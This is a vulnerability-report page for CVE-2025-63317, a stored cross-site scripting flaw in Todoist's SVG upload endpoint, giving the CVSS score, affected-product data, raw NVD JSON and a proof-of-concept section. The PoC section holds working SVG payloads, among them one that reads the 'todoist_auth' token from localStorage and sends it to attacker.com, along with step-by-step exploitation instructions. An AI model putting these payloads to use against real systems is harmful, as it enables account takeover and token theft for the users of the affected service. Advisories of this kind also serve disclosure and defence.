Security Vulnerability Report
中文
CVE-2025-63317 CVSS 5.4 MEDIUM

CVE-2025-63317

Published: 2025-12-01 20:15:53
Last Modified: 2025-12-04 18:11:07

Description

Todoist v8896 is vulnerable to Cross Site Scripting (XSS) in /api/v1/uploads. Uploaded SVG files have no sanitization applied, so embedded JavaScript executes when a user opens the attachment from a task/comment.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:doist:todoist:8486:*:*:*:*:*:*:* - VULNERABLE
Todoist v8896

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-63317: Todoist SVG XSS --> <!-- Create malicious SVG file with embedded JavaScript --> <svg xmlns="http://www.w3.org/2000/svg"> <script>alert('XSS - CVE-2025-63317');</script> <rect width="200" height="200" fill="red"/> </svg> <!-- Alternative PoC using event handler --> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <rect width="300" height="300" fill="blue"/> </svg> <!-- Stealer PoC - steals authentication tokens --> <svg xmlns="http://www.w3.org/2000/svg"> <script> // Steal localStorage tokens var tokens = localStorage.getItem('todoist_auth'); // Send to attacker-controlled server fetch('https://attacker.com/steal?data=' + encodeURIComponent(tokens)); </script> <rect width="100%" height="100%" fill="white"/> </svg> <!-- Exploitation Steps: 1. Create malicious SVG file with above content 2. Upload SVG via Todoist /api/v1/uploads endpoint 3. Attach SVG to a task or comment 4. Wait for victim to open/view the attachment 5. JavaScript executes in victim's browser context -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63317", "sourceIdentifier": "[email protected]", "published": "2025-12-01T20:15:52.907", "lastModified": "2025-12-04T18:11:06.880", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Todoist v8896 is vulnerable to Cross Site Scripting (XSS) in /api/v1/uploads. Uploaded SVG files have no sanitization applied, so embedded JavaScript executes when a user opens the attachment from a task/comment."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:doist:todoist:8486:*:*:*:*:*:*:*", "matchCriteriaId": "47292D57-5225-45DC-BF13-1E408FA4A8E9"}]}]}], "references": [{"url": "https://github.com/sefabasnak/Todoistv8896", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}